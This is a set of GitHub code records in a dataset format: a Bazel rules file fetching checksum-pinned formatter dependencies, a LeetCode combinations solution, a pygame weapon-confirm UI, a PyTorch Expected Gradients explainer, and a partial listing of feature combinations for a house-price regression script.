now\n# ours took precedence. Such breakages are challenging for users, so any\n# changes in this function should be marked as BREAKING in the commit message\n# and released only in semver majors.\n# This is all fixed by bzlmod, so we just tolerate it for now.\ndef rules_format_dependencies():\n \"Fetch dependencies\"\n\n # The minimal version of bazel_skylib we require\n http_archive(\n name = \"bazel_skylib\",\n sha256 = \"f7be3474d42aae265405a592bb7da8e171919d74c16f082a5457840f06054728\",\n urls = [\n \"https://github.com/bazelbuild/bazel-skylib/releases/download/1.2.1/bazel-skylib-1.2.1.tar.gz\",\n \"https://mirror.bazel.build/github.com/bazelbuild/bazel-skylib/releases/download/1.2.1/bazel-skylib-1.2.1.tar.gz\",\n ],\n )\n\n # TODO: after https://github.com/bazelbuild/rules_swift/issues/864 we should only fetch for host\n http_archive(\n name = \"swiftformat\",\n sha256 = \"f62813980c2848cb1941f1456a2a06251c2e2323183623760922058b98c70745\",\n url = \"https://github.com/nicklockwood/SwiftFormat/releases/download/0.49.17/swiftformat_linux.zip\",\n patch_cmds = [\"chmod u+x swiftformat_linux\"],\n build_file_content = \"filegroup(name = \\\"swiftformat\\\", srcs=[\\\"swiftformat_linux\\\"], visibility=[\\\"//visibility:public\\\"])\",\n )\n\n http_archive(\n name = \"swiftformat_mac\",\n sha256 = \"978eaffdc3716bbc0859aecee0d83875cf3ab8d8725779448f0035309d9ad9f3\",\n url = \"https://github.com/nicklockwood/SwiftFormat/releases/download/0.49.17/swiftformat.zip\",\n patch_cmds = [\n # On MacOS, `xattr -c` clears the \"Unknown developer\" warning when executing a fetched binary\n \"if command -v xattr > /dev/null; then xattr -c swiftformat; fi\",\n \"chmod u+x swiftformat\",\n ],\n build_file_content = \"filegroup(name = \\\"swiftformat_mac\\\", srcs=[\\\"swiftformat\\\"], visibility=[\\\"//visibility:public\\\"])\",\n )\n\n http_archive(\n name = \"buildifier_prebuilt\",\n sha256 = \"b3fd85ae7e45c2f36bce52cfdbdb6c20261761ea5928d1686edc8873b0d0dad0\",\n strip_prefix = \"buildifier-prebuilt-5.1.0\",\n urls = [\n \"http://github.com/keith/buildifier-prebuilt/archive/5.1.0.tar.gz\",\n ],\n )\n\n http_archive(\n name = \"rules_nodejs\",\n sha256 = \"5aef09ed3279aa01d5c928e3beb248f9ad32dde6aafe6373a8c994c3ce643064\",\n urls = [\"https://github.com/bazelbuild/rules_nodejs/releases/download/5.5.3/rules_nodejs-core-5.5.3.tar.gz\"],\n )\n\n http_archive(\n name = \"aspect_rules_js\",\n sha256 = \"25bcb082d49616ac2da538bf7bdd33a9730c8884edbec787fec83db07e4f7f16\",\n strip_prefix = \"rules_js-1.1.0\",\n url = \"https://github.com/aspect-build/rules_js/archive/refs/tags/v1.1.0.tar.gz\",\n )\n\n http_archive(\n name = \"aspect_bazel_lib\",\n sha256 = \"8ea64f13c6db68356355d6a97dced3d149e9cd7ba3ecb4112960586e914e466d\",\n strip_prefix = \"bazel-lib-1.11.1\",\n url = \"https://github.com/aspect-build/bazel-lib/archive/refs/tags/v1.11.1.tar.gz\",\n )\n\n http_archive(\n name = \"rules_python\",\n sha256 = \"c03246c11efd49266e8e41e12931090b613e12a59e6f55ba2efd29a7cb8b4258\",\n strip_prefix = \"rules_python-0.11.0\",\n url = \"https://github.com/bazelbuild/rules_python/archive/refs/tags/0.11.0.tar.gz\",\n )\n\n http_jar(\n name = \"google-java-format\",\n sha256 = \"a356bb0236b29c57a3ab678f17a7b027aad603b0960c183a18f1fe322e4f38ea\",\n url = \"https://github.com/google/google-java-format/releases/download/v1.15.0/google-java-format-1.15.0-all-deps.jar\",\n )\n\n http_archive(\n name = \"io_bazel_rules_go\",\n sha256 = \"099a9fb96a376ccbbb7d291ed4ecbdfd42f6bc822ab77ae6f1b5cb9e914e94fa\",\n urls = [\n \"https://mirror.bazel.build/github.com/bazelbuild/rules_go/releases/download/v0.35.0/rules_go-v0.35.0.zip\",\n \"https://github.com/bazelbuild/rules_go/releases/download/v0.35.0/rules_go-v0.35.0.zip\",\n ],\n )\n\n http_archive(\n name = \"buf\",\n sha256 = \"6c1e7258b79273c60085df8825a52a5ee306530e7327942c91ec84545cd2d40a\",\n url = \"https://github.com/bufbuild/buf/releases/download/v1.9.0/buf-Linux-x86_64.tar.gz\",\n strip_prefix = \"buf\",\n build_file_content = \"\"\"exports_files([\"bin/buf\"], visibility = [\"//visibility:public\"])\"\"\",\n )\n\n http_archive(\n name = \"buf_mac\",\n sha256 = \"27ea882bdaf5a4e46410fb3f5ef3507f6ce65cc8e6f4c943c37e89683b2866fb\",\n url = \"https://github.com/bufbuild/buf/releases/download/v1.9.0/buf-Darwin-x86_64.tar.gz\",\n strip_prefix = \"buf\",\n build_file_content = \"\"\"exports_files([\"bin/buf\"], visibility = [\"//visibility:public\"])\"\"\",\n )\n","repo_name":"gmishkin/bazel-super-formatter","sub_path":"format/repositories.bzl","file_name":"repositories.bzl","file_ext":"bzl","file_size_in_byte":5467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"43305776503","text":"#\n# @lc app=leetcode id=77 lang=python\n#\n# [77] Combinations\n#\n\n# @lc code=start\nclass Solution(object):\n def combine(self, n, k):\n \"\"\"\n :type n: int\n :type k: int\n :rtype: List[List[int]]\n \"\"\"\n self.res = [[]]\n self.k = k\n self._subset(n)\n return [x for x in self.res if len(x) == k]\n\n def _subset(self, n):\n if not n:\n return\n for r in self.res[:]:\n if len(r) < self.k:\n t = r[:]\n t.append(n)\n self.res.append(t)\n self._subset(n-1)\n\n# @lc code=end\n\n#print Solution().combine(4,2)\n","repo_name":"atalia/leetcode","sub_path":"77.combinations.py","file_name":"77.combinations.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26209166780","text":"import pygame\nimport classes\nfrom entity import Entity\nfrom colors import *\n\nCONFIRM_WIDTH = 200\nCONFIRM_HEIGHT = 200\nCONFIRM_LEFT_MARGIN = 800\nCONFIRM_TOP_MARGIN = 500\n\nclass Confirm(Entity):\n def __init__(self, controller, fontObj, ship, weapon, target):\n self._controller = controller\n self._size = (CONFIRM_WIDTH,CONFIRM_HEIGHT)\n self._surface = pygame.Surface(self._size)\n self._fontObj = fontObj\n self.ship = ship\n self.weapon = weapon\n self.target = target\n self._highlighted = False\n self._mousePosition = None\n\n def draw(self):\n highlighted = True if self._mousePosition else False\n return drawConfirmAction(self._fontObj, self.ship, self.weapon, self.target, highlighted)\n\n def clicked(self, mousex, mousey):\n if 0 <= mousex <= self._size[0] and 0 <= mousey <= self._size[1]:\n self._controller.actionConfirmed()\n\n def setMousePosition(self, mousex, mousey):\n if 0 <= mousex <= self._size[0] and 0 <= mousey <= self._size[1]:\n self._mousePosition = (mousex,mousey)\n else:\n self._mousePosition = None\n\n def highlight(self, value):\n self._highlighted = value\n\ndef drawConfirmAction(fontObj, ship, weapon, target, highlighted):\n\timage = pygame.Surface((CONFIRM_WIDTH,CONFIRM_HEIGHT))\n\n\toutline_color = OUTLINE_HIGHLIGHT if highlighted else OUTLINE_READY if ship.available() and weapon.available() else OUTLINE_SPENT\n\tpygame.draw.rect(image, outline_color, (0, 0, CONFIRM_WIDTH, CONFIRM_HEIGHT), 10)\n\n\tattack = ship.performAttack(weapon, target)\n\trolls = drawWeaponRolls(fontObj, attack.weapon().rolls)\n\timage.blit(rolls, (50, 50))\n\tweaponType = drawWeaponType(fontObj, attack.weapon().weaponType)\n\timage.blit(weaponType, (100, 50))\n\tdamage = drawWeaponStats(fontObj, attack.weapon())\n\timage.blit(damage, (100, 50))\n\n\ttextSurfaceObj = fontObj.render('FIRE!', True, WHITE)\n\ttextRectObj = textSurfaceObj.get_rect()\n\ttextRectObj.center = (CONFIRM_WIDTH / 2, CONFIRM_HEIGHT * 3/4)\n\timage.blit(textSurfaceObj, textRectObj)\n\n\treturn image\n\ndef drawWeaponType(fontObj, weaponType):\n assert weaponType.isOneOf((classes.WEAPON_KINETIC, classes.WEAPON_LASER,\n classes.WEAPON_GUIDED)), \"Pass a WEAPONTYPE to the drawWeaponType function.\"\n\n image = pygame.Surface((40, 40))\n pygame.draw.rect(image, BLUE, (0, 0, 40, 40), 3)\n\n text = \"K\" if weaponType.isType(classes.WEAPON_KINETIC) else \"L\" if weaponType.isType(classes.WEAPON_LASER) else \"G\"\n\n textSurfaceObj = fontObj.render(text, True, WHITE)\n textRectObj = textSurfaceObj.get_rect()\n textRectObj.center = (20, 20)\n image.blit(textSurfaceObj, textRectObj)\n\n return image\n\n\ndef drawWeaponRolls(fontObj, rolls):\n image = pygame.Surface((40, 40))\n pygame.draw.rect(image, BLUE, (0, 0, 40, 40), 3)\n\n textSurfaceObj = fontObj.render(str(rolls), True, WHITE)\n textRectObj = textSurfaceObj.get_rect()\n textRectObj.center = (20, 20)\n image.blit(textSurfaceObj, textRectObj)\n\n return image\n\ndef drawWeaponStats(fontObj, weapon):\n\timage = pygame.Surface((80, 40))\n\tpygame.draw.rect(image, BLUE, (0, 0, 80, 40), 3)\n\n\ttextSurfaceObj = fontObj.render(str(weapon.mount.accuracy()), True, WHITE)\n\ttextRectObj = textSurfaceObj.get_rect()\n\ttextRectObj.center = (20, 20)\n\timage.blit(textSurfaceObj, textRectObj)\n\n\ttextSurfaceObj = fontObj.render(str(weapon.mount.damage()), True, WHITE)\n\ttextRectObj = textSurfaceObj.get_rect()\n\ttextRectObj.center = (50, 20)\n\timage.blit(textSurfaceObj, textRectObj)\n\n\treturn image\n","repo_name":"ErikRoelofs/pygame-tryout","sub_path":"ui/confirm.py","file_name":"confirm.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41877069087","text":"import torch\nimport torch.utils.data\n\nfrom .IG_SG import IntGradSG\n\n\nclass ExpectedGradients(IntGradSG):\n def __init__(self, model, k, bg_size, bg_dataset, batch_size, random_alpha=True, est_method='vanilla', exp_obj='logit'):\n super(ExpectedGradients, self).__init__(model, k, bg_size, random_alpha, est_method, exp_obj)\n self.bg_size = bg_size\n self.random_alpha = random_alpha\n self.ref_sampler = torch.utils.data.DataLoader(\n dataset=bg_dataset,\n batch_size=bg_size*batch_size,\n shuffle=True,\n pin_memory=False,\n drop_last=False)\n\n self.est_method = est_method\n self.exp_obj = exp_obj\n\n def _get_ref_batch(self):\n return next(iter(self.ref_sampler))[0].float()\n\n def chew_input(self, input_tensor):\n \"\"\"\n Calculate expected gradients for the sample ``input_tensor``.\n\n Args:\n model (torch.nn.Module): Pytorch neural network model for which the\n output should be explained.\n input_tensor (torch.Tensor): Pytorch tensor representing the input\n to be explained.\n sparse_labels (optional, default=None):\n inter (optional, default=None)\n \"\"\"\n shape = list(input_tensor.shape)\n shape.insert(1, self.bg_size)\n\n ref = self._get_ref_batch()\n reference_tensor = ref.view(*shape).cuda()\n\n if ref.shape[0] != input_tensor.shape[0]*self.k:\n reference_tensor = reference_tensor[:input_tensor.shape[0]*self.k]\n multi_ref_tensor = reference_tensor.repeat(1, self.k, 1, 1, 1)\n\n samples_input = self._get_samples_input(input_tensor, multi_ref_tensor)\n return input_tensor, samples_input, reference_tensor\n","repo_name":"ypeiyu/attribution_recalibration","sub_path":"saliency_methods/expected_grad.py","file_name":"expected_grad.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"1025717734","text":"#i19-0542, Mohammad Shazil Mahmood, CS-E\r\n#i19-2172, Hannan Ali, CS-E\r\n#k19-1257, Umer Rashid, CS-E\r\n\r\nimport pandas as pd\r\nfrom sklearn import linear_model\r\nimport time\r\nstart_time = time.time()\r\n\r\npath = __file__\r\nfile_name=path.split(\"\\\\\")\r\ndir=\"\"\r\nfor i in range(len(file_name)-1):\r\n dir=dir+file_name[i]+\"\\\\\"\r\n\r\nfeature_set=[['Level'],\r\n['Area'],\r\n['Floor'],\r\n['Rooms'],\r\n['Pool'],\r\n['Garage'],\r\n['Garden'],\r\n['Age'],\r\n['Theater'],\r\n['Level','Area'],\r\n['Level','Floor'],\r\n['Level','Rooms'],\r\n['Level','Pool'],\r\n['Level','Garage'],\r\n['Level','Garden'],\r\n['Level','Age'],\r\n['Level','Theater'],\r\n['Area','Floor'],\r\n['Area','Rooms'],\r\n['Area','Pool'],\r\n['Area','Garage'],\r\n['Area','Garden'],\r\n['Area','Age'],\r\n['Area','Theater'],\r\n['Floor','Rooms'],\r\n['Floor','Pool'],\r\n['Floor','Garage'],\r\n['Floor','Garden'],\r\n['Floor','Age'],\r\n['Floor','Theater'],\r\n['Rooms','Pool'],\r\n['Rooms','Garage'],\r\n['Rooms','Garden'],\r\n['Rooms','Age'],\r\n['Rooms','Theater'],\r\n['Pool','Garage'],\r\n['Pool','Garden'],\r\n['Pool','Age'],\r\n['Pool','Theater'],\r\n['Garage','Garden'],\r\n['Garage','Age'],\r\n['Garage','Theater'],\r\n['Garden','Age'],\r\n['Garden','Theater'],\r\n['Age','Theater'],\r\n['Level','Area','Floor'],\r\n['Level','Area','Rooms'],\r\n['Level','Area','Pool'],\r\n['Level','Area','Garage'],\r\n['Level','Area','Garden'],\r\n['Level','Area','Age'],\r\n['Level','Area','Theater'],\r\n['Level','Floor','Rooms'],\r\n['Level','Floor','Pool'],\r\n['Level','Floor','Garage'],\r\n['Level','Floor','Garden'],\r\n['Level','Floor','Age'],\r\n['Level','Floor','Theater'],\r\n['Level','Rooms','Pool'],\r\n['Level','Rooms','Garage'],\r\n['Level','Rooms','Garden'],\r\n['Level','Rooms','Age'],\r\n['Level','Rooms','Theater'],\r\n['Level','Pool','Garage'],\r\n['Level','Pool','Garden'],\r\n['Level','Pool','Age'],\r\n['Level','Pool','Theater'],\r\n['Level','Garage','Garden'],\r\n['Level','Garage','Age'],\r\n['Level','Garage','Theater'],\r\n['Level','Garden','Age'],\r\n['Level','Garden','Theater'],\r\n['Level','Age','Theater'],\r\n['Area','Floor','Rooms'],\r\n['Area','Floor','Pool'],\r\n['Area','Floor','Garage'],\r\n['Area','Floor','Garden'],\r\n['Area','Floor','Age'],\r\n['Area','Floor','Theater'],\r\n['Area','Rooms','Pool'],\r\n['Area','Rooms','Garage'],\r\n['Area','Rooms','Garden'],\r\n['Area','Rooms','Age'],\r\n['Area','Rooms','Theater'],\r\n['Area','Pool','Garage'],\r\n['Area','Pool','Garden'],\r\n['Area','Pool','Age'],\r\n['Area','Pool','Theater'],\r\n['Area','Garage','Garden'],\r\n['Area','Garage','Age'],\r\n['Area','Garage','Theater'],\r\n['Area','Garden','Age'],\r\n['Area','Garden','Theater'],\r\n['Area','Age','Theater'],\r\n['Floor','Rooms','Pool'],\r\n['Floor','Rooms','Garage'],\r\n['Floor','Rooms','Garden'],\r\n['Floor','Rooms','Age'],\r\n['Floor','Rooms','Theater'],\r\n['Floor','Pool','Garage'],\r\n['Floor','Pool','Garden'],\r\n['Floor','Pool','Age'],\r\n['Floor','Pool','Theater'],\r\n['Floor','Garage','Garden'],\r\n['Floor','Garage','Age'],\r\n['Floor','Garage','Theater'],\r\n['Floor','Garden','Age'],\r\n['Floor','Garden','Theater'],\r\n['Floor','Age','Theater'],\r\n['Rooms','Pool','Garage'],\r\n['Rooms','Pool','Garden'],\r\n['Rooms','Pool','Age'],\r\n['Rooms','Pool','Theater'],\r\n['Rooms','Garage','Garden'],\r\n['Rooms','Garage','Age'],\r\n['Rooms','Garage','Theater'],\r\n['Rooms','Garden','Age'],\r\n['Rooms','Garden','Theater'],\r\n['Rooms','Age','Theater'],\r\n['Pool','Garage','Garden'],\r\n['Pool','Garage','Age'],\r\n['Pool','Garage','Theater'],\r\n['Pool','Garden','Age'],\r\n['Pool','Garden','Theater'],\r\n['Pool','Age','Theater'],\r\n['Garage','Garden','Age'],\r\n['Garage','Garden','Theater'],\r\n['Garage','Age','Theater'],\r\n['Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms'],\r\n['Level','Area','Floor','Pool'],\r\n['Level','Area','Floor','Garage'],\r\n['Level','Area','Floor','Garden'],\r\n['Level','Area','Floor','Age'],\r\n['Level','Area','Floor','Theater'],\r\n['Level','Area','Rooms','Pool'],\r\n['Level','Area','Rooms','Garage'],\r\n['Level','Area','Rooms','Garden'],\r\n['Level','Area','Rooms','Age'],\r\n['Level','Area','Rooms','Theater'],\r\n['Level','Area','Pool','Garage'],\r\n['Level','Area','Pool','Garden'],\r\n['Level','Area','Pool','Age'],\r\n['Level','Area','Pool','Theater'],\r\n['Level','Area','Garage','Garden'],\r\n['Level','Area','Garage','Age'],\r\n['Level','Area','Garage','Theater'],\r\n['Level','Area','Garden','Age'],\r\n['Level','Area','Garden','Theater'],\r\n['Level','Area','Age','Theater'],\r\n['Level','Floor','Rooms','Pool'],\r\n['Level','Floor','Rooms','Garage'],\r\n['Level','Floor','Rooms','Garden'],\r\n['Level','Floor','Rooms','Age'],\r\n['Level','Floor','Rooms','Theater'],\r\n['Level','Floor','Pool','Garage'],\r\n['Level','Floor','Pool','Garden'],\r\n['Level','Floor','Pool','Age'],\r\n['Level','Floor','Pool','Theater'],\r\n['Level','Floor','Garage','Garden'],\r\n['Level','Floor','Garage','Age'],\r\n['Level','Floor','Garage','Theater'],\r\n['Level','Floor','Garden','Age'],\r\n['Level','Floor','Garden','Theater'],\r\n['Level','Floor','Age','Theater'],\r\n['Level','Rooms','Pool','Garage'],\r\n['Level','Rooms','Pool','Garden'],\r\n['Level','Rooms','Pool','Age'],\r\n['Level','Rooms','Pool','Theater'],\r\n['Level','Rooms','Garage','Garden'],\r\n['Level','Rooms','Garage','Age'],\r\n['Level','Rooms','Garage','Theater'],\r\n['Level','Rooms','Garden','Age'],\r\n['Level','Rooms','Garden','Theater'],\r\n['Level','Rooms','Age','Theater'],\r\n['Level','Pool','Garage','Garden'],\r\n['Level','Pool','Garage','Age'],\r\n['Level','Pool','Garage','Theater'],\r\n['Level','Pool','Garden','Age'],\r\n['Level','Pool','Garden','Theater'],\r\n['Level','Pool','Age','Theater'],\r\n['Level','Garage','Garden','Age'],\r\n['Level','Garage','Garden','Theater'],\r\n['Level','Garage','Age','Theater'],\r\n['Level','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Pool'],\r\n['Area','Floor','Rooms','Garage'],\r\n['Area','Floor','Rooms','Garden'],\r\n['Area','Floor','Rooms','Age'],\r\n['Area','Floor','Rooms','Theater'],\r\n['Area','Floor','Pool','Garage'],\r\n['Area','Floor','Pool','Garden'],\r\n['Area','Floor','Pool','Age'],\r\n['Area','Floor','Pool','Theater'],\r\n['Area','Floor','Garage','Garden'],\r\n['Area','Floor','Garage','Age'],\r\n['Area','Floor','Garage','Theater'],\r\n['Area','Floor','Garden','Age'],\r\n['Area','Floor','Garden','Theater'],\r\n['Area','Floor','Age','Theater'],\r\n['Area','Rooms','Pool','Garage'],\r\n['Area','Rooms','Pool','Garden'],\r\n['Area','Rooms','Pool','Age'],\r\n['Area','Rooms','Pool','Theater'],\r\n['Area','Rooms','Garage','Garden'],\r\n['Area','Rooms','Garage','Age'],\r\n['Area','Rooms','Garage','Theater'],\r\n['Area','Rooms','Garden','Age'],\r\n['Area','Rooms','Garden','Theater'],\r\n['Area','Rooms','Age','Theater'],\r\n['Area','Pool','Garage','Garden'],\r\n['Area','Pool','Garage','Age'],\r\n['Area','Pool','Garage','Theater'],\r\n['Area','Pool','Garden','Age'],\r\n['Area','Pool','Garden','Theater'],\r\n['Area','Pool','Age','Theater'],\r\n['Area','Garage','Garden','Age'],\r\n['Area','Garage','Garden','Theater'],\r\n['Area','Garage','Age','Theater'],\r\n['Area','Garden','Age','Theater'],\r\n['Floor','Rooms','Pool','Garage'],\r\n['Floor','Rooms','Pool','Garden'],\r\n['Floor','Rooms','Pool','Age'],\r\n['Floor','Rooms','Pool','Theater'],\r\n['Floor','Rooms','Garage','Garden'],\r\n['Floor','Rooms','Garage','Age'],\r\n['Floor','Rooms','Garage','Theater'],\r\n['Floor','Rooms','Garden','Age'],\r\n['Floor','Rooms','Garden','Theater'],\r\n['Floor','Rooms','Age','Theater'],\r\n['Floor','Pool','Garage','Garden'],\r\n['Floor','Pool','Garage','Age'],\r\n['Floor','Pool','Garage','Theater'],\r\n['Floor','Pool','Garden','Age'],\r\n['Floor','Pool','Garden','Theater'],\r\n['Floor','Pool','Age','Theater'],\r\n['Floor','Garage','Garden','Age'],\r\n['Floor','Garage','Garden','Theater'],\r\n['Floor','Garage','Age','Theater'],\r\n['Floor','Garden','Age','Theater'],\r\n['Rooms','Pool','Garage','Garden'],\r\n['Rooms','Pool','Garage','Age'],\r\n['Rooms','Pool','Garage','Theater'],\r\n['Rooms','Pool','Garden','Age'],\r\n['Rooms','Pool','Garden','Theater'],\r\n['Rooms','Pool','Age','Theater'],\r\n['Rooms','Garage','Garden','Age'],\r\n['Rooms','Garage','Garden','Theater'],\r\n['Rooms','Garage','Age','Theater'],\r\n['Rooms','Garden','Age','Theater'],\r\n['Pool','Garage','Garden','Age'],\r\n['Pool','Garage','Garden','Theater'],\r\n['Pool','Garage','Age','Theater'],\r\n['Pool','Garden','Age','Theater'],\r\n['Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool'],\r\n['Level','Area','Floor','Rooms','Garage'],\r\n['Level','Area','Floor','Rooms','Garden'],\r\n['Level','Area','Floor','Rooms','Age'],\r\n['Level','Area','Floor','Rooms','Theater'],\r\n['Level','Area','Floor','Pool','Garage'],\r\n['Level','Area','Floor','Pool','Garden'],\r\n['Level','Area','Floor','Pool','Age'],\r\n['Level','Area','Floor','Pool','Theater'],\r\n['Level','Area','Floor','Garage','Garden'],\r\n['Level','Area','Floor','Garage','Age'],\r\n['Level','Area','Floor','Garage','Theater'],\r\n['Level','Area','Floor','Garden','Age'],\r\n['Level','Area','Floor','Garden','Theater'],\r\n['Level','Area','Floor','Age','Theater'],\r\n['Level','Area','Rooms','Pool','Garage'],\r\n['Level','Area','Rooms','Pool','Garden'],\r\n['Level','Area','Rooms','Pool','Age'],\r\n['Level','Area','Rooms','Pool','Theater'],\r\n['Level','Area','Rooms','Garage','Garden'],\r\n['Level','Area','Rooms','Garage','Age'],\r\n['Level','Area','Rooms','Garage','Theater'],\r\n['Level','Area','Rooms','Garden','Age'],\r\n['Level','Area','Rooms','Garden','Theater'],\r\n['Level','Area','Rooms','Age','Theater'],\r\n['Level','Area','Pool','Garage','Garden'],\r\n['Level','Area','Pool','Garage','Age'],\r\n['Level','Area','Pool','Garage','Theater'],\r\n['Level','Area','Pool','Garden','Age'],\r\n['Level','Area','Pool','Garden','Theater'],\r\n['Level','Area','Pool','Age','Theater'],\r\n['Level','Area','Garage','Garden','Age'],\r\n['Level','Area','Garage','Garden','Theater'],\r\n['Level','Area','Garage','Age','Theater'],\r\n['Level','Area','Garden','Age','Theater'],\r\n['Level','Floor','Rooms','Pool','Garage'],\r\n['Level','Floor','Rooms','Pool','Garden'],\r\n['Level','Floor','Rooms','Pool','Age'],\r\n['Level','Floor','Rooms','Pool','Theater'],\r\n['Level','Floor','Rooms','Garage','Garden'],\r\n['Level','Floor','Rooms','Garage','Age'],\r\n['Level','Floor','Rooms','Garage','Theater'],\r\n['Level','Floor','Rooms','Garden','Age'],\r\n['Level','Floor','Rooms','Garden','Theater'],\r\n['Level','Floor','Rooms','Age','Theater'],\r\n['Level','Floor','Pool','Garage','Garden'],\r\n['Level','Floor','Pool','Garage','Age'],\r\n['Level','Floor','Pool','Garage','Theater'],\r\n['Level','Floor','Pool','Garden','Age'],\r\n['Level','Floor','Pool','Garden','Theater'],\r\n['Level','Floor','Pool','Age','Theater'],\r\n['Level','Floor','Garage','Garden','Age'],\r\n['Level','Floor','Garage','Garden','Theater'],\r\n['Level','Floor','Garage','Age','Theater'],\r\n['Level','Floor','Garden','Age','Theater'],\r\n['Level','Rooms','Pool','Garage','Garden'],\r\n['Level','Rooms','Pool','Garage','Age'],\r\n['Level','Rooms','Pool','Garage','Theater'],\r\n['Level','Rooms','Pool','Garden','Age'],\r\n['Level','Rooms','Pool','Garden','Theater'],\r\n['Level','Rooms','Pool','Age','Theater'],\r\n['Level','Rooms','Garage','Garden','Age'],\r\n['Level','Rooms','Garage','Garden','Theater'],\r\n['Level','Rooms','Garage','Age','Theater'],\r\n['Level','Rooms','Garden','Age','Theater'],\r\n['Level','Pool','Garage','Garden','Age'],\r\n['Level','Pool','Garage','Garden','Theater'],\r\n['Level','Pool','Garage','Age','Theater'],\r\n['Level','Pool','Garden','Age','Theater'],\r\n['Level','Garage','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Pool','Garage'],\r\n['Area','Floor','Rooms','Pool','Garden'],\r\n['Area','Floor','Rooms','Pool','Age'],\r\n['Area','Floor','Rooms','Pool','Theater'],\r\n['Area','Floor','Rooms','Garage','Garden'],\r\n['Area','Floor','Rooms','Garage','Age'],\r\n['Area','Floor','Rooms','Garage','Theater'],\r\n['Area','Floor','Rooms','Garden','Age'],\r\n['Area','Floor','Rooms','Garden','Theater'],\r\n['Area','Floor','Rooms','Age','Theater'],\r\n['Area','Floor','Pool','Garage','Garden'],\r\n['Area','Floor','Pool','Garage','Age'],\r\n['Area','Floor','Pool','Garage','Theater'],\r\n['Area','Floor','Pool','Garden','Age'],\r\n['Area','Floor','Pool','Garden','Theater'],\r\n['Area','Floor','Pool','Age','Theater'],\r\n['Area','Floor','Garage','Garden','Age'],\r\n['Area','Floor','Garage','Garden','Theater'],\r\n['Area','Floor','Garage','Age','Theater'],\r\n['Area','Floor','Garden','Age','Theater'],\r\n['Area','Rooms','Pool','Garage','Garden'],\r\n['Area','Rooms','Pool','Garage','Age'],\r\n['Area','Rooms','Pool','Garage','Theater'],\r\n['Area','Rooms','Pool','Garden','Age'],\r\n['Area','Rooms','Pool','Garden','Theater'],\r\n['Area','Rooms','Pool','Age','Theater'],\r\n['Area','Rooms','Garage','Garden','Age'],\r\n['Area','Rooms','Garage','Garden','Theater'],\r\n['Area','Rooms','Garage','Age','Theater'],\r\n['Area','Rooms','Garden','Age','Theater'],\r\n['Area','Pool','Garage','Garden','Age'],\r\n['Area','Pool','Garage','Garden','Theater'],\r\n['Area','Pool','Garage','Age','Theater'],\r\n['Area','Pool','Garden','Age','Theater'],\r\n['Area','Garage','Garden','Age','Theater'],\r\n['Floor','Rooms','Pool','Garage','Garden'],\r\n['Floor','Rooms','Pool','Garage','Age'],\r\n['Floor','Rooms','Pool','Garage','Theater'],\r\n['Floor','Rooms','Pool','Garden','Age'],\r\n['Floor','Rooms','Pool','Garden','Theater'],\r\n['Floor','Rooms','Pool','Age','Theater'],\r\n['Floor','Rooms','Garage','Garden','Age'],\r\n['Floor','Rooms','Garage','Garden','Theater'],\r\n['Floor','Rooms','Garage','Age','Theater'],\r\n['Floor','Rooms','Garden','Age','Theater'],\r\n['Floor','Pool','Garage','Garden','Age'],\r\n['Floor','Pool','Garage','Garden','Theater'],\r\n['Floor','Pool','Garage','Age','Theater'],\r\n['Floor','Pool','Garden','Age','Theater'],\r\n['Floor','Garage','Garden','Age','Theater'],\r\n['Rooms','Pool','Garage','Garden','Age'],\r\n['Rooms','Pool','Garage','Garden','Theater'],\r\n['Rooms','Pool','Garage','Age','Theater'],\r\n['Rooms','Pool','Garden','Age','Theater'],\r\n['Rooms','Garage','Garden','Age','Theater'],\r\n['Pool','Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garage'],\r\n['Level','Area','Floor','Rooms','Pool','Garden'],\r\n['Level','Area','Floor','Rooms','Pool','Age'],\r\n['Level','Area','Floor','Rooms','Pool','Theater'],\r\n['Level','Area','Floor','Rooms','Garage','Garden'],\r\n['Level','Area','Floor','Rooms','Garage','Age'],\r\n['Level','Area','Floor','Rooms','Garage','Theater'],\r\n['Level','Area','Floor','Rooms','Garden','Age'],\r\n['Level','Area','Floor','Rooms','Garden','Theater'],\r\n['Level','Area','Floor','Rooms','Age','Theater'],\r\n['Level','Area','Floor','Pool','Garage','Garden'],\r\n['Level','Area','Floor','Pool','Garage','Age'],\r\n['Level','Area','Floor','Pool','Garage','Theater'],\r\n['Level','Area','Floor','Pool','Garden','Age'],\r\n['Level','Area','Floor','Pool','Garden','Theater'],\r\n['Level','Area','Floor','Pool','Age','Theater'],\r\n['Level','Area','Floor','Garage','Garden','Age'],\r\n['Level','Area','Floor','Garage','Garden','Theater'],\r\n['Level','Area','Floor','Garage','Age','Theater'],\r\n['Level','Area','Floor','Garden','Age','Theater'],\r\n['Level','Area','Rooms','Pool','Garage','Garden'],\r\n['Level','Area','Rooms','Pool','Garage','Age'],\r\n['Level','Area','Rooms','Pool','Garage','Theater'],\r\n['Level','Area','Rooms','Pool','Garden','Age'],\r\n['Level','Area','Rooms','Pool','Garden','Theater'],\r\n['Level','Area','Rooms','Pool','Age','Theater'],\r\n['Level','Area','Rooms','Garage','Garden','Age'],\r\n['Level','Area','Rooms','Garage','Garden','Theater'],\r\n['Level','Area','Rooms','Garage','Age','Theater'],\r\n['Level','Area','Rooms','Garden','Age','Theater'],\r\n['Level','Area','Pool','Garage','Garden','Age'],\r\n['Level','Area','Pool','Garage','Garden','Theater'],\r\n['Level','Area','Pool','Garage','Age','Theater'],\r\n['Level','Area','Pool','Garden','Age','Theater'],\r\n['Level','Area','Garage','Garden','Age','Theater'],\r\n['Level','Floor','Rooms','Pool','Garage','Garden'],\r\n['Level','Floor','Rooms','Pool','Garage','Age'],\r\n['Level','Floor','Rooms','Pool','Garage','Theater'],\r\n['Level','Floor','Rooms','Pool','Garden','Age'],\r\n['Level','Floor','Rooms','Pool','Garden','Theater'],\r\n['Level','Floor','Rooms','Pool','A